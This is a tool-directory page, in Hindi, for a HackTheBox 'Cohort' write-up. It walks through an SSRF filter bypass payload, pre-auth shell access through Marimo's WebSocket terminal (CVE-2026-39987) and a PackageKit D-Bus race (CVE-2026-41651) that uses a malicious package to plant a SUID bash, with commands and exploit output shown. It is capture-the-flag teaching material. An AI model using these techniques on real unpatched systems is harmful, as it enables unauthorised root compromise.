Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cohort-htb — HTB Cohort - SSRF, Marimo pre-auth RCE (CVE-2026-39987) और PackageKit privesc (CVE-2026-41651) | Kitploit
उपकरण/GitHubGitHub/iapetus12/cohort-htb
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगArchived
GitHubiapetus12/cohort-htb

cohort-htb

HTB Cohort - SSRF, Marimo pre-auth RCE (CVE-2026-39987) और PackageKit privesc (CVE-2026-41651)

1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

Cohort — HTB राइटअप और एक्सप्लॉइट चेन

मशीन Cohort (HackTheBox)। पूरी किल चेन:

  1. Flask API (/api/validate) में SSRF → आंतरिक vhost डिस्कवरी
  2. Marimo 0.20.4 WebSocket टर्मिनल में Pre-auth RCE (CVE-2026-39987) → marimo के रूप में शेल
  3. PackageKit 1.2.8 D-Bus TOCTOU (CVE-2026-41651) के माध्यम से प्रिविलेज एस्केलेशन → SUID bash → root

फ्लैग्स जानबूझकर शामिल नहीं किए गए हैं (HTB नियम)।


1. रेकॉन और एन्यूमरेशन

root@kitploit:~
10.129.93.8        cohort.htb
  • 8080 — nginx एक Flask ऐप सर्व कर रहा है (/api/... एंडपॉइंट्स)
  • 8888 — आंतरिक Marimo नोटबुक सर्वर (vhost: nb-1be3782a8afd3ad5.cohort.htb), बाहरी रूप से एक्सपोज़्ड नहीं

2. SSRF → आंतरिक vhost डिस्कवरी

ऐप ने एक URL वैलिडेशन एंडपॉइंट एक्सपोज़ किया था जो रिमोट कंटेंट फ़ेच करता था और उसे रिफ्लेक्ट करता था। URL फ़िल्टर को लूपबैक एड्रेस को एन्कोड करके बायपास किया जा सकता था:

root@kitploit:~
POST /api/validate HTTP/1.1
Host: cohort.htb

{"url": "http://127.1:80/status"}

इसने आंतरिक nginx को हिट किया और कॉन्फ़िगर किए गए upstreams को उजागर किया, जिसमें आंतरिक Marimo vhost nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888 भी शामिल था।

3. Pre-auth RCE — Marimo 0.20.4 (CVE-2026-39987)

Marimo के नोटबुक WebSocket टर्मिनल हैंडलर ने ऑथेंटिकेशन वैलिडेट नहीं किया। /terminal/ws से कनेक्ट करने पर pty.fork() के माध्यम से एक bash शेल स्पॉन होता है।

आंतरिक vhost बाहरी nginx के माध्यम से आंतरिक Host हेडर भेजकर पहुँचा जा सकता था:

root@kitploit:~
./scripts/marimo_shell.py 10.129.93.8
root@kitploit:~
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$

परिणाम: marimo के रूप में शेल (uid 1000)।

marimo के रूप में एन्यूमरेशन

  • dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1
  • pkcon / polkit वर्शन्स कमज़ोर TOCTOU पैटर्न से मेल खाते हैं
  • फ्लैग user.txt /home/marimo/user.txt पर

4. प्रिविलेज एस्केलेशन — PackageKit TOCTOU (CVE-2026-41651)

कमज़ोरी

PackageKit 1.2.8 में एक time-of-check / time-of-use दोष है: GLib idle callback द्वारा पढ़े जाने वाले ट्रांज़ैक्शन रोल और फ्लैग्स को एक ही ट्रांज़ैक्शन पर दो async D-Bus कॉल जारी करके रेस किया जा सकता है, जिससे प्रिविलेज्ड बैकएंड दूसरी कॉल (रोल NONE, कोई auth चेक नहीं) चलाता है, भले ही पहली कॉल (SIMULATE) पहले ही ऑथराइज़ेशन चेक पास कर चुकी हो।

एक ही ट्रांज़ैक्शन पर दो कॉल बैक-टू-बैक जारी किए जाते हैं:

  1. InstallFiles(SIMULATE=4) — polkit ऑथराइज़ेशन चेक पास करता है
  2. InstallFiles(NONE=0) — दुर्भावनापूर्ण .deb ले जाता है, जिसे उसी मैसेज बैच के हिस्से के रूप में पढ़ा जाता है

दुर्भावनापूर्ण .deb root के रूप में एक postinst स्क्रिप्ट चलाता है जो एक SUID bash ड्रॉप करता है:

root@kitploit:~
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash

कार्यशील एक्सप्लॉइट

मुख्य विवरण: दोनों कॉल को एक साथ फ्लश किया जाना चाहिए ताकि बैकएंड दोनों मैसेज एक ही बैच में पढ़े। GIO async call() + flush_sync() का उपयोग करें:

root@kitploit:~
./scripts/cve-2026-41651_gio.py
root@kitploit:~
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash

पहला प्रयास क्यों विफल रहा

प्रारंभिक एक्सप्लॉइट ने python-dbus का उपयोग किया था:

root@kitploit:~
./scripts/cve-2026-41651_pydbus.py   # ❌ race lost

python-dbus दोनों InstallFiles कॉल को अलग-अलग राइट्स में सीरियलाइज़ करता है, इसलिए बैकएंड के idle callback ने उन्हें अलग-अलग इवेंट्स के रूप में प्रोसेस किया और रेस कभी हिट नहीं हुई। GIO का flush_sync दोनों D-Bus मैसेज को एक ही राइट बैच में भेजता है → रेस जीत ली गई।

Root

root@kitploit:~
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...

/root/root.txt पठनीय।


फ़ाइलें

root@kitploit:~
scripts/
├── marimo_shell.py           # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py     # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py  # CVE-2026-41651 — first attempt (python-dbus, race lost)
टूल डाउनलोड करें